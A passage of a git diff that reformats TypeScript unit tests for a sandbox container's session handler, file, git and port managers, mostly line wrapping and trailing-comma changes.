expect(responseBody.data).toHaveLength(3); expect(responseBody.timestamp).toBeDefined(); - expect(responseBody.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(responseBody.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); // Verify service was called correctly expect(mockSessionManager.listSessions).toHaveBeenCalled(); @@ -184,7 +193,7 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseBody = await response.json() as SessionListResult; + const responseBody = (await response.json()) as SessionListResult; expect(responseBody.success).toBe(true); expect(responseBody.data).toHaveLength(0); expect(responseBody.data).toEqual([]); @@ -206,11 +215,15 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); - const responseBody = await response.json() as SessionListResult; + const responseBody = (await response.json()) as SessionListResult; // Handler returns array of session IDs expect(responseBody.success).toBe(true); - expect(responseBody.data).toEqual(['session-1', 'session-2', 'session-3']); + expect(responseBody.data).toEqual([ + 'session-1', + 'session-2', + 'session-3' + ]); expect(responseBody.timestamp).toBeDefined(); }); @@ -231,10 +244,12 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('SESSION_LIST_ERROR'); expect(responseData.message).toBe('Failed to list sessions'); - expect(responseData.context).toEqual({ originalError: 'Database connection lost' }); + expect(responseData.context).toEqual({ + originalError: 'Database connection lost' + }); expect(responseData.httpStatus).toBe(500); expect(responseData.timestamp).toBeDefined(); }); @@ -254,7 +269,7 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); - const responseBody = await response.json() as SessionListResult; + const responseBody = (await response.json()) as SessionListResult; // Handler returns array of session IDs expect(responseBody.success).toBe(true); expect(responseBody.data).toEqual(['session-1']); @@ -264,14 +279,17 @@ describe('SessionHandler', () => { describe('route handling', () => { it('should return 500 for invalid session endpoints', async () => { - const request = new Request('http://localhost:3000/api/session/invalid-operation', { - method: 'POST' - }); + const request = new Request( + 'http://localhost:3000/api/session/invalid-operation', + { + method: 'POST' + } + ); const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid session endpoint'); expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.httpStatus).toBe(500); @@ -290,7 +308,7 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid session endpoint'); expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.httpStatus).toBe(500); @@ -305,7 +323,7 @@ describe('SessionHandler', () => { const response = await sessionHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.message).toBe('Invalid session endpoint'); expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.httpStatus).toBe(500); @@ -330,8 +348,12 @@ describe('SessionHandler', () => { expect(response.status).toBe(200); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should include CORS headers in successful list responses', async () => { @@ -372,12 +394,20 @@ describe('SessionHandler', () => { data: mockSession }); - const createRequest = new Request('http://localhost:3000/api/session/create', { - method: 'POST' - }); + const createRequest = new Request( + 'http://localhost:3000/api/session/create', + { + method: 'POST' + } + ); - const createResponse = await sessionHandler.handle(createRequest, mockContext); - expect(createResponse.headers.get('Content-Type')).toBe('application/json'); + const createResponse = await sessionHandler.handle( + createRequest, + mockContext + ); + expect(createResponse.headers.get('Content-Type')).toBe( + 'application/json' + ); // Test list endpoint (mockSessionManager.listSessions as any).mockResolvedValue({ @@ -385,11 +415,17 @@ describe('SessionHandler', () => { data: [] }); - const listRequest = new Request('http://localhost:3000/api/session/list', { - method: 'GET' - }); + const listRequest = new Request( + 'http://localhost:3000/api/session/list', + { + method: 'GET' + } + ); - const listResponse = await sessionHandler.handle(listRequest, mockContext); + const listResponse = await sessionHandler.handle( + listRequest, + mockContext + ); expect(listResponse.headers.get('Content-Type')).toBe('application/json'); }); @@ -406,12 +442,15 @@ describe('SessionHandler', () => { }); const response = await sessionHandler.handle(request, mockContext); - const responseBody = await response.json() as SessionCreateResultGeneric; + const responseBody = + (await response.json()) as SessionCreateResultGeneric; // Verify timestamp is valid ISO string expect(responseBody.timestamp).toBeDefined(); expect(new Date(responseBody.timestamp)).toBeInstanceOf(Date); - expect(responseBody.timestamp).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/); + expect(responseBody.timestamp).toMatch( + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/ + ); }); it('should return session IDs as data in list response', async () => { @@ -428,7 +467,7 @@ describe('SessionHandler', () => { }); const response = await sessionHandler.handle(request, mockContext); - const responseBody = await response.json() as SessionListResult; + const responseBody = (await response.json()) as SessionListResult; // Handler returns array of session IDs in data field expect(responseBody.success).toBe(true); @@ -452,7 +491,7 @@ describe('SessionHandler', () => { }); const response = await sessionHandler.handle(request, mockContext); - const responseBody = await response.json() as SessionListResult; + const responseBody = (await response.json()) as SessionListResult; // Handler returns array of session IDs expect(responseBody.success).toBe(true); @@ -460,7 +499,9 @@ describe('SessionHandler', () => { expect(responseBody.data[0]).toBe('session-external-id'); // Verify response structure - expect(Object.keys(responseBody).sort()).toEqual(['data', 'success', 'timestamp'].sort()); + expect(Object.keys(responseBody).sort()).toEqual( + ['data', 'success', 'timestamp'].sort() + ); }); }); }); diff --git a/packages/sandbox-container/tests/managers/file-manager.test.ts b/packages/sandbox-container/tests/managers/file-manager.test.ts index bfb25ddf..7e11dcb4 100644 --- a/packages/sandbox-container/tests/managers/file-manager.test.ts +++ b/packages/sandbox-container/tests/managers/file-manager.test.ts @@ -49,12 +49,18 @@ describe('FileManager', () => { it('should throw error for invalid format - too few parts', () => { const output = 'regular file:1024'; - expect(() => manager.parseStatOutput(output)).toThrow('Invalid stat output format'); - expect(() => manager.parseStatOutput(output)).toThrow('expected 4 parts, got 2'); + expect(() => manager.parseStatOutput(output)).toThrow( + 'Invalid stat output format' + ); + expect(() => manager.parseStatOutput(output)).toThrow( + 'expected 4 parts, got 2' + ); }); it('should throw error for empty output', () => { - expect(() => manager.parseStatOutput('')).toThrow('Invalid stat output format'); + expect(() => manager.parseStatOutput('')).toThrow( + 'Invalid stat output format' + ); }); it('should parse BSD stat format (macOS) correctly', () => { @@ -85,7 +91,9 @@ describe('FileManager', () => { }); it('should include -p flag for recursive option', () => { - const args = manager.buildMkdirArgs('/tmp/nested/testdir', { recursive: true }); + const args = manager.buildMkdirArgs('/tmp/nested/testdir', { + recursive: true + }); expect(args).toEqual(['mkdir', '-p', '/tmp/nested/testdir']); }); @@ -115,44 +123,93 @@ describe('FileManager', () => { describe('determineErrorCode', () => { it('should return FILE_NOT_FOUND for not found errors', () => { - expect(manager.determineErrorCode('read', new Error('File not found'))).toBe('FILE_NOT_FOUND'); - expect(manager.determineErrorCode('read', new Error('ENOENT: no such file'))).toBe('FILE_NOT_FOUND'); - expect(manager.determineErrorCode('read', 'not found')).toBe('FILE_NOT_FOUND'); + expect( + manager.determineErrorCode('read', new Error('File not found')) + ).toBe('FILE_NOT_FOUND'); + expect( + manager.determineErrorCode('read', new Error('ENOENT: no such file')) + ).toBe('FILE_NOT_FOUND'); + expect(manager.determineErrorCode('read', 'not found')).toBe( + 'FILE_NOT_FOUND' + ); }); it('should return PERMISSION_DENIED for permission errors', () => { - expect(manager.determineErrorCode('read', new Error('Permission denied'))).toBe('PERMISSION_DENIED'); - expect(manager.determineErrorCode('write', new Error('EACCES: permission denied'))).toBe('PERMISSION_DENIED'); + expect( + manager.determineErrorCode('read', new Error('Permission denied')) + ).toBe('PERMISSION_DENIED'); + expect( + manager.determineErrorCode( + 'write', + new Error('EACCES: permission denied') + ) + ).toBe('PERMISSION_DENIED'); }); it('should return FILE_EXISTS for file exists errors', () => { - expect(manager.determineErrorCode('write', new Error('File exists'))).toBe('FILE_EXISTS'); - expect(manager.determineErrorCode('mkdir', new Error('EEXIST: file already exists'))).toBe('FILE_EXISTS'); + expect( + manager.determineErrorCode('write', new Error('File exists')) + ).toBe('FILE_EXISTS'); + expect( + manager.determineErrorCode( + 'mkdir', + new Error('EEXIST: file already exists') + ) + ).toBe('FILE_EXISTS'); }); it('should return DISK_FULL for disk space errors', () => { - expect(manager.determineErrorCode('write', new Error('Disk full'))).toBe('DISK_FULL'); - expect(manager.determineErrorCode('write', new Error('ENOSPC: no space left'))).toBe('DISK_FULL'); + expect(manager.determineErrorCode('write', new Error('Disk full'))).toBe( + 'DISK_FULL' + ); + expect( + manager.determineErrorCode('write', new Error('ENOSPC: no space left')) + ).toBe('DISK_FULL'); }); it('should return DIR_NOT_EMPTY for directory not empty errors', () => { - expect(manager.determineErrorCode('delete', new Error('Directory not empty'))).toBe('DIR_NOT_EMPTY'); - expect(manager.determineErrorCode('delete', new Error('ENOTEMPTY: directory not empty'))).toBe('DIR_NOT_EMPTY'); + expect( + manager.determineErrorCode('delete', new Error('Directory not empty')) + ).toBe('DIR_NOT_EMPTY'); + expect( + manager.determineErrorCode( + 'delete', + new Error('ENOTEMPTY: directory not empty') + ) + ).toBe('DIR_NOT_EMPTY'); }); it('should return operation-specific error codes as fallback', () => { - expect(manager.determineErrorCode('read', new Error('Unknown error'))).toBe('FILE_READ_ERROR'); - expect(manager.determineErrorCode('write', new Error('Unknown error'))).toBe('FILE_WRITE_ERROR'); - expect(manager.determineErrorCode('delete', new Error('Unknown error'))).toBe('FILE_DELETE_ERROR'); - expect(manager.determineErrorCode('rename', new Error('Unknown error'))).toBe('RENAME_ERROR'); - expect(manager.determineErrorCode('move', new Error('Unknown error'))).toBe('MOVE_ERROR'); - expect(manager.determineErrorCode('mkdir', new Error('Unknown error'))).toBe('MKDIR_ERROR'); - expect(manager.determineErrorCode('stat', new Error('Unknown error'))).toBe('STAT_ERROR'); - expect(manager.determineErrorCode('exists', new Error('Unknown error'))).toBe('EXISTS_ERROR'); + expect( + manager.determineErrorCode('read', new Error('Unknown error')) + ).toBe('FILE_READ_ERROR'); + expect( + manager.determineErrorCode('write', new Error('Unknown error')) + ).toBe('FILE_WRITE_ERROR'); + expect( + manager.determineErrorCode('delete', new Error('Unknown error')) + ).toBe('FILE_DELETE_ERROR'); + expect( + manager.determineErrorCode('rename', new Error('Unknown error')) + ).toBe('RENAME_ERROR'); + expect( + manager.determineErrorCode('move', new Error('Unknown error')) + ).toBe('MOVE_ERROR'); + expect( + manager.determineErrorCode('mkdir', new Error('Unknown error')) + ).toBe('MKDIR_ERROR'); + expect( + manager.determineErrorCode('stat', new Error('Unknown error')) + ).toBe('STAT_ERROR'); + expect( + manager.determineErrorCode('exists', new Error('Unknown error')) + ).toBe('EXISTS_ERROR'); }); it('should return generic code for unknown operations', () => { - expect(manager.determineErrorCode('unknown', new Error('Error'))).toBe('FILE_OPERATION_ERROR'); + expect(manager.determineErrorCode('unknown', new Error('Error'))).toBe( + 'FILE_OPERATION_ERROR' + ); }); }); @@ -163,7 +220,7 @@ describe('FileManager', () => { isDirectory: false, size: 1024, modified: new Date('2024-01-01T00:00:00Z'), - created: new Date('2024-01-01T00:00:00Z'), + created: new Date('2024-01-01T00:00:00Z') }; const result = manager.validateStats(stats); @@ -178,7 +235,7 @@ describe('FileManager', () => { isDirectory: false, size: -1, modified: new Date('2024-01-01'), - created: new Date('2024-01-01'), + created: new Date('2024-01-01') }; const result = manager.validateStats(stats); @@ -193,7 +250,7 @@ describe('FileManager', () => { isDirectory: false, size: Number.MAX_SAFE_INTEGER + 1, modified: new Date('2024-01-01'), - created: new Date('2024-01-01'), + created: new Date('2024-01-01') }; const result = manager.validateStats(stats); @@ -208,13 +265,15 @@ describe('FileManager', () => { isDirectory: false, size: 1024, modified: new Date('1969-01-01'), - created: new Date('2024-01-01'), + created: new Date('2024-01-01') }; const result = manager.validateStats(stats); expect(result.valid).toBe(false); - expect(result.errors).toContain('Modified date cannot be before Unix epoch'); + expect(result.errors).toContain( + 'Modified date cannot be before Unix epoch' + ); }); it('should handle zero-size files', () => { @@ -223,7 +282,7 @@ describe('FileManager', () => { isDirectory: false, size: 0, modified: new Date('2024-01-01'), - created: new Date('2024-01-01'), + created: new Date('2024-01-01') }; const result = manager.validateStats(stats); @@ -257,24 +316,32 @@ describe('FileManager', () => { expect(plan.requiresCheck).toBe(true); expect(plan.command).toEqual({ executable: 'rm', - args: ['/tmp/test.txt'], + args: ['/tmp/test.txt'] }); }); it('should plan rename operation with command', () => { - const plan = manager.planOperation('rename', '/tmp/old.txt', '/tmp/new.txt'); + const plan = manager.planOperation( + 'rename', + '/tmp/old.txt', + '/tmp/new.txt' + ); expect(plan.operation).toBe('rename'); expect(plan.paths).toEqual(['/tmp/old.txt', '/tmp/new.txt']); expect(plan.requiresCheck).toBe(true); expect(plan.command).toEqual({ executable: 'mv', - args: ['/tmp/old.txt', '/tmp/new.txt'], + args: ['/tmp/old.txt', '/tmp/new.txt'] }); }); it('should plan move operation', () => { - const plan = manager.planOperation('move', '/tmp/src.txt', '/tmp/dst.txt'); + const plan = manager.planOperation( + 'move', + '/tmp/src.txt', + '/tmp/dst.txt' + ); expect(plan.operation).toBe('move'); expect(plan.paths).toEqual(['/tmp/src.txt', '/tmp/dst.txt']); @@ -298,25 +365,47 @@ describe('FileManager', () => { }); it('should throw error for unknown operation', () => { - expect(() => manager.planOperation('invalid', '/tmp/test.txt')).toThrow('Unknown operation: invalid'); + expect(() => manager.planOperation('invalid', '/tmp/test.txt')).toThrow( + 'Unknown operation: invalid' + ); }); }); describe('shouldUseMoveCommand', () => { it('should return true for paths in same filesystem', () => { - expect(manager.shouldUseMoveCommand('/tmp/source.txt', '/tmp/dest.txt')).toBe(true); - expect(manager.shouldUseMoveCommand('/home/user/a.txt', '/home/user/b.txt')).toBe(true); - expect(manager.shouldUseMoveCommand('/workspace/a', '/workspace/b')).toBe(true); + expect( + manager.shouldUseMoveCommand('/tmp/source.txt', '/tmp/dest.txt') + ).toBe(true); + expect( + manager.shouldUseMoveCommand('/home/user/a.txt', '/home/user/b.txt') + ).toBe(true); + expect(manager.shouldUseMoveCommand('/workspace/a', '/workspace/b')).toBe( + true + ); }); it('should return false for paths across different filesystems', () => { - expect(manager.shouldUseMoveCommand('/tmp/source.txt', '/home/dest.txt')).toBe(false); - expect(manager.shouldUseMoveCommand('/home/a.txt', '/workspace/b.txt')).toBe(false); + expect( + manager.shouldUseMoveCommand('/tmp/source.txt', '/home/dest.txt') + ).toBe(false); + expect( + manager.shouldUseMoveCommand('/home/a.txt', '/workspace/b.txt') + ).toBe(false); }); it('should handle nested paths correctly', () => { - expect(manager.shouldUseMoveCommand('/tmp/nested/dir/file.txt', '/tmp/other/file.txt')).toBe(true); - expect(manager.shouldUseMoveCommand('/home/user/deep/nested/a.txt', '/workspace/b.txt')).toBe(false); + expect( + manager.shouldUseMoveCommand( + '/tmp/nested/dir/file.txt', + '/tmp/other/file.txt' + ) + ).toBe(true); + expect( + manager.shouldUseMoveCommand( + '/home/user/deep/nested/a.txt', + '/workspace/b.txt' + ) + ).toBe(false); }); }); @@ -357,43 +446,73 @@ describe('FileManager', () => { describe('createErrorMessage', () => { it('should create error message for read operation', () => { - const msg = manager.createErrorMessage('read', '/tmp/test.txt', 'File not found'); + const msg = manager.createErrorMessage( + 'read', + '/tmp/test.txt', + 'File not found' + ); expect(msg).toBe('Failed to read /tmp/test.txt: File not found'); }); it('should create error message for write operation', () => { - const msg = manager.createErrorMessage('write', '/tmp/test.txt', 'Permission denied'); + const msg = manager.createErrorMessage( + 'write', + '/tmp/test.txt', + 'Permission denied' + ); expect(msg).toBe('Failed to write /tmp/test.txt: Permission denied'); }); it('should create error message for delete operation', () => { - const msg = manager.createErrorMessage('delete', '/tmp/test.txt', 'File is locked'); + const msg = manager.createErrorMessage( + 'delete', + '/tmp/test.txt', + 'File is locked' + ); expect(msg).toBe('Failed to delete /tmp/test.txt: File is locked'); }); it('should create error message for mkdir operation', () => { - const msg = manager.createErrorMessage('mkdir', '/tmp/newdir', 'Parent directory not found'); + const msg = manager.createErrorMessage( + 'mkdir', + '/tmp/newdir', + 'Parent directory not found' + ); - expect(msg).toBe('Failed to create directory /tmp/newdir: Parent directory not found'); + expect(msg).toBe( + 'Failed to create directory /tmp/newdir: Parent directory not found' + ); }); it('should create error message for rename operation', () => { - const msg = manager.createErrorMessage('rename', '/tmp/old.txt', 'Target exists'); + const msg = manager.createErrorMessage( + 'rename', + '/tmp/old.txt', + 'Target exists' + ); expect(msg).toBe('Failed to rename /tmp/old.txt: Target exists'); }); it('should create error message for stat operation', () => { - const msg = manager.createErrorMessage('stat', '/tmp/test.txt', 'Invalid file'); + const msg = manager.createErrorMessage( + 'stat', + '/tmp/test.txt', + 'Invalid file' + ); expect(msg).toBe('Failed to get stats for /tmp/test.txt: Invalid file'); }); it('should handle unknown operations with generic verb', () => { - const msg = manager.createErrorMessage('unknown', '/tmp/test.txt', 'Error'); + const msg = manager.createErrorMessage( + 'unknown', + '/tmp/test.txt', + 'Error' + ); expect(msg).toBe('Failed to operate on /tmp/test.txt: Error'); }); diff --git a/packages/sandbox-container/tests/managers/git-manager.test.ts b/packages/sandbox-container/tests/managers/git-manager.test.ts index e68cf9de..97adc9c9 100644 --- a/packages/sandbox-container/tests/managers/git-manager.test.ts +++ b/packages/sandbox-container/tests/managers/git-manager.test.ts @@ -10,12 +10,18 @@ describe('GitManager', () => { describe('extractRepoName', () => { it('should extract repo name from various URL formats', () => { - expect(manager.extractRepoName('https://github.com/user/repo.git')).toBe('repo'); - expect(manager.extractRepoName('https://github.com/user/my-repo')).toBe('my-repo'); - expect(manager.extractRepoName('git@github.com:user/repo.git')).toBe('repo'); - expect(manager.extractRepoName('https://github.com/user/my-awesome_repo.git')).toBe( - 'my-awesome_repo' + expect(manager.extractRepoName('https://github.com/user/repo.git')).toBe( + 'repo' ); + expect(manager.extractRepoName('https://github.com/user/my-repo')).toBe( + 'my-repo' + ); + expect(manager.extractRepoName('git@github.com:user/repo.git')).toBe( + 'repo' + ); + expect( + manager.extractRepoName('https://github.com/user/my-awesome_repo.git') + ).toBe('my-awesome_repo'); }); it('should return fallback for invalid URLs', () => { @@ -26,14 +32,20 @@ describe('GitManager', () => { describe('generateTargetDirectory', () => { it('should generate directory in /workspace with repo name', () => { - const dir = manager.generateTargetDirectory('https://github.com/user/repo.git'); + const dir = manager.generateTargetDirectory( + 'https://github.com/user/repo.git' + ); expect(dir).toBe('/workspace/repo'); }); it('should generate consistent directories for same URL', () => { - const dir1 = manager.generateTargetDirectory('https://github.com/user/repo.git'); - const dir2 = manager.generateTargetDirectory('https://github.com/user/repo.git'); + const dir1 = manager.generateTargetDirectory( + 'https://github.com/user/repo.git' + ); + const dir2 = manager.generateTargetDirectory( + 'https://github.com/user/repo.git' + ); expect(dir1).toBe(dir2); }); @@ -47,8 +59,17 @@ describe('GitManager', () => { describe('buildCloneArgs', () => { it('should build basic clone args', () => { - const args = manager.buildCloneArgs('https://github.com/user/repo.git', '/tmp/target', {}); - expect(args).toEqual(['git', 'clone', 'https://github.com/user/repo.git', '/tmp/target']); + const args = manager.buildCloneArgs( + 'https://github.com/user/repo.git', + '/tmp/target', + {} + ); + expect(args).toEqual([ + 'git', + 'clone', + 'https://github.com/user/repo.git', + '/tmp/target' + ]); }); it('should build clone args with branch option', () => { @@ -63,25 +84,33 @@ describe('GitManager', () => { '--branch', 'develop', 'https://github.com/user/repo.git', - '/tmp/target', + '/tmp/target' ]); }); }); describe('buildCheckoutArgs', () => { it('should build checkout args with branch names', () => { - expect(manager.buildCheckoutArgs('develop')).toEqual(['git', 'checkout', 'develop']); + expect(manager.buildCheckoutArgs('develop')).toEqual([ + 'git', + 'checkout', + 'develop' + ]); expect(manager.buildCheckoutArgs('feature/new-feature')).toEqual([ 'git', 'checkout', - 'feature/new-feature', + 'feature/new-feature' ]); }); }); describe('buildGetCurrentBranchArgs', () => { it('should build get current branch args', () => { - expect(manager.buildGetCurrentBranchArgs()).toEqual(['git', 'branch', '--show-current']); + expect(manager.buildGetCurrentBranchArgs()).toEqual([ + 'git', + 'branch', + '--show-current' + ]); }); }); @@ -98,7 +127,11 @@ describe('GitManager', () => { remotes/origin/develop remotes/origin/main remotes/origin/feature/auth`; - expect(manager.parseBranchList(output)).toEqual(['develop', 'main', 'feature/auth']); + expect(manager.parseBranchList(output)).toEqual([ + 'develop', + 'main', + 'feature/auth' + ]); }); it('should filter out HEAD references', () => { @@ -120,7 +153,9 @@ describe('GitManager', () => { describe('validateBranchName', () => { it('should validate non-empty branch names', () => { expect(manager.validateBranchName('main').isValid).toBe(true); - expect(manager.validateBranchName('feature/new-feature').isValid).toBe(true); + expect(manager.validateBranchName('feature/new-feature').isValid).toBe( + true + ); }); it('should reject empty or whitespace-only branch names', () => { @@ -138,62 +173,74 @@ describe('GitManager', () => { it('should return NOT_A_GIT_REPO for exit code 128 with not a git repository message', () => { const error = new Error('fatal: not a git repository'); - expect(manager.determineErrorCode('getCurrentBranch', error, 128)).toBe('NOT_A_GIT_REPO'); + expect(manager.determineErrorCode('getCurrentBranch', error, 128)).toBe( + 'NOT_A_GIT_REPO' + ); }); it('should return REPO_NOT_FOUND for exit code 128 with repository not found message', () => { const error = new Error('fatal: repository not found'); - expect(manager.determineErrorCode('clone', error, 128)).toBe('REPO_NOT_FOUND'); + expect(manager.determineErrorCode('clone', error, 128)).toBe( + 'REPO_NOT_FOUND' + ); }); it('should return GIT_PERMISSION_DENIED for permission errors', () => { - expect(manager.determineErrorCode('clone', new Error('Permission denied'))).toBe( - 'GIT_PERMISSION_DENIED' - ); + expect( + manager.determineErrorCode('clone', new Error('Permission denied')) + ).toBe('GIT_PERMISSION_DENIED'); }); it('should return GIT_NOT_FOUND for not found errors', () => { - expect(manager.determineErrorCode('checkout', new Error('Branch not found'))).toBe( - 'GIT_NOT_FOUND' - ); + expect( + manager.determineErrorCode('checkout', new Error('Branch not found')) + ).toBe('GIT_NOT_FOUND'); }); it('should return GIT_INVALID_REF for pathspec errors', () => { expect( - manager.determineErrorCode('checkout', new Error("pathspec 'branch' did not match")) + manager.determineErrorCode( + 'checkout', + new Error("pathspec 'branch' did not match") + ) ).toBe('GIT_INVALID_REF'); }); it('should return GIT_AUTH_FAILED for authentication errors', () => { - expect(manager.determineErrorCode('clone', new Error('Authentication failed'))).toBe( - 'GIT_AUTH_FAILED' - ); + expect( + manager.determineErrorCode('clone', new Error('Authentication failed')) + ).toBe('GIT_AUTH_FAILED'); }); it('should return operation-specific error codes as fallback', () => { - expect(manager.determineErrorCode('clone', new Error('Unknown error'))).toBe( - 'GIT_CLONE_FAILED' - ); - expect(manager.determineErrorCode('checkout', new Error('Unknown error'))).toBe( - 'GIT_CHECKOUT_FAILED' - ); - expect(manager.determineErrorCode('getCurrentBranch', new Error('Unknown error'))).toBe( - 'GIT_BRANCH_ERROR' - ); - expect(manager.determineErrorCode('listBranches', new Error('Unknown error'))).toBe( - 'GIT_BRANCH_LIST_ERROR' - ); + expect( + manager.determineErrorCode('clone', new Error('Unknown error')) + ).toBe('GIT_CLONE_FAILED'); + expect( + manager.determineErrorCode('checkout', new Error('Unknown error')) + ).toBe('GIT_CHECKOUT_FAILED'); + expect( + manager.determineErrorCode( + 'getCurrentBranch', + new Error('Unknown error') + ) + ).toBe('GIT_BRANCH_ERROR'); + expect( + manager.determineErrorCode('listBranches', new Error('Unknown error')) + ).toBe('GIT_BRANCH_LIST_ERROR'); }); it('should handle string errors', () => { - expect(manager.determineErrorCode('clone', 'repository not found')).toBe('GIT_NOT_FOUND'); + expect(manager.determineErrorCode('clone', 'repository not found')).toBe( + 'GIT_NOT_FOUND' + ); }); it('should handle case-insensitive error matching', () => { - expect(manager.determineErrorCode('clone', new Error('PERMISSION DENIED'))).toBe( - 'GIT_PERMISSION_DENIED' - ); + expect( + manager.determineErrorCode('clone', new Error('PERMISSION DENIED')) + ).toBe('GIT_PERMISSION_DENIED'); }); }); @@ -221,7 +268,9 @@ describe('GitManager', () => { describe('isSshUrl', () => { it('should return true for SSH URLs', () => { expect(manager.isSshUrl('git@github.com:user/repo.git')).toBe(true); - expect(manager.isSshUrl('ssh://git@github.com:22/user/repo.git')).toBe(true); + expect(manager.isSshUrl('ssh://git@github.com:22/user/repo.git')).toBe( + true + ); }); it('should return false for HTTPS URLs', () => { diff --git a/packages/sandbox-container/tests/managers/port-manager.test.ts b/packages/sandbox-container/tests/managers/port-manager.test.ts index a87cb4ba..62f60319 100644 --- a/packages/sandbox-container/tests/managers/port-manager.test.ts +++ b/packages/sandbox-container/tests/managers/port-manager.test.ts @@ -22,7 +22,10 @@ describe('PortManager', () => { describe('parseProxyPath', () => { it('should parse basic proxy URL correctly', () => { - const result = manager.parseProxyPath('http://example.com/proxy/8080/api/test', 8080); + const result = manager.parseProxyPath( + 'http://example.com/proxy/8080/api/test', + 8080 + ); expect(result.targetPath).toBe('api/test'); expect(result.targetUrl).toBe('http://localhost:8080/api/test'); @@ -35,11 +38,16 @@ describe('PortManager', () => { ); expect(result.targetPath).toBe('api/test'); - expect(result.targetUrl).toBe('http://localhost:8080/api/test?param=value&foo=bar'); + expect(result.targetUrl).toBe( + 'http://localhost:8080/api/test?param=value&foo=bar' + ); }); it('should parse root path proxy correctly', () => { - const result = manager.parseProxyPath('http://example.com/proxy/8080/', 8080); + const result = manager.parseProxyPath( + 'http://example.com/proxy/8080/', + 8080 + ); expect(result.targetPath).toBe(''); expect(result.targetUrl).toBe('http://localhost:8080/'); @@ -62,7 +70,9 @@ describe('PortManager', () => { ); expect(result.targetPath).toBe('path%20with%20spaces'); - expect(result.targetUrl).toBe('http://localhost:8080/path%20with%20spaces'); + expect(result.targetUrl).toBe( + 'http://localhost:8080/path%20with%20spaces' + ); }); }); @@ -91,7 +101,7 @@ describe('PortManager', () => { port: 8080, name: 'web-server', exposedAt: new Date('2024-01-01'), - status: 'active', + status: 'active' }; const inactiveInfo = manager.createInactivePortInfo(existingInfo); @@ -105,61 +115,73 @@ describe('PortManager', () => { describe('determineErrorCode', () => { it('should return PORT_NOT_FOUND for not found errors', () => { - expect(manager.determineErrorCode('get', new Error('Port not found'))).toBe('PORT_NOT_FOUND'); - expect(manager.determineErrorCode('get', new Error('ENOENT'))).toBe('PORT_NOT_FOUND'); + expect( + manager.determineErrorCode('get', new Error('Port not found')) + ).toBe('PORT_NOT_FOUND'); + expect(manager.determineErrorCode('get', new Error('ENOENT'))).toBe( + 'PORT_NOT_FOUND' + ); }); it('should return PORT_ALREADY_EXPOSED for already exposed errors', () => { - expect(manager.determineErrorCode('expose', new Error('Port already exposed'))).toBe( - 'PORT_ALREADY_EXPOSED' - ); - expect(manager.determineErrorCode('expose', new Error('Conflict detected'))).toBe( - 'PORT_ALREADY_EXPOSED' - ); + expect( + manager.determineErrorCode('expose', new Error('Port already exposed')) + ).toBe('PORT_ALREADY_EXPOSED'); + expect( + manager.determineErrorCode('expose', new Error('Conflict detected')) + ).toBe('PORT_ALREADY_EXPOSED'); }); it('should return CONNECTION_REFUSED for connection errors', () => { - expect(manager.determineErrorCode('proxy', new Error('Connection refused'))).toBe( - 'CONNECTION_REFUSED' - ); - expect(manager.determineErrorCode('proxy', new Error('ECONNREFUSED'))).toBe( - 'CONNECTION_REFUSED' - ); + expect( + manager.determineErrorCode('proxy', new Error('Connection refused')) + ).toBe('CONNECTION_REFUSED'); + expect( + manager.determineErrorCode('proxy', new Error('ECONNREFUSED')) + ).toBe('CONNECTION_REFUSED'); }); it('should return CONNECTION_TIMEOUT for timeout errors', () => { - expect(manager.determineErrorCode('proxy', new Error('Request timeout'))).toBe( - 'CONNECTION_TIMEOUT' - ); + expect( + manager.determineErrorCode('proxy', new Error('Request timeout')) + ).toBe('CONNECTION_TIMEOUT'); expect(manager.determineErrorCode('proxy', new Error('ETIMEDOUT'))).toBe( 'CONNECTION_TIMEOUT' ); }); it('should return operation-specific error codes as fallback', () => { - expect(manager.determineErrorCode('expose', new Error('Unknown error'))).toBe( - 'PORT_EXPOSE_ERROR' - ); - expect(manager.determineErrorCode('unexpose', new Error('Unknown error'))).toBe( - 'PORT_UNEXPOSE_ERROR' - ); - expect(manager.determineErrorCode('list', new Error('Unknown error'))).toBe( - 'PORT_LIST_ERROR' - ); - expect(manager.determineErrorCode('get', new Error('Unknown error'))).toBe('PORT_GET_ERROR'); - expect(manager.determineErrorCode('proxy', new Error('Unknown error'))).toBe('PROXY_ERROR'); - expect(manager.determineErrorCode('update', new Error('Unknown error'))).toBe( - 'PORT_UPDATE_ERROR' - ); - expect(manager.determineErrorCode('cleanup', new Error('Unknown error'))).toBe( - 'PORT_CLEANUP_ERROR' - ); + expect( + manager.determineErrorCode('expose', new Error('Unknown error')) + ).toBe('PORT_EXPOSE_ERROR'); + expect( + manager.determineErrorCode('unexpose', new Error('Unknown error')) + ).toBe('PORT_UNEXPOSE_ERROR'); + expect( + 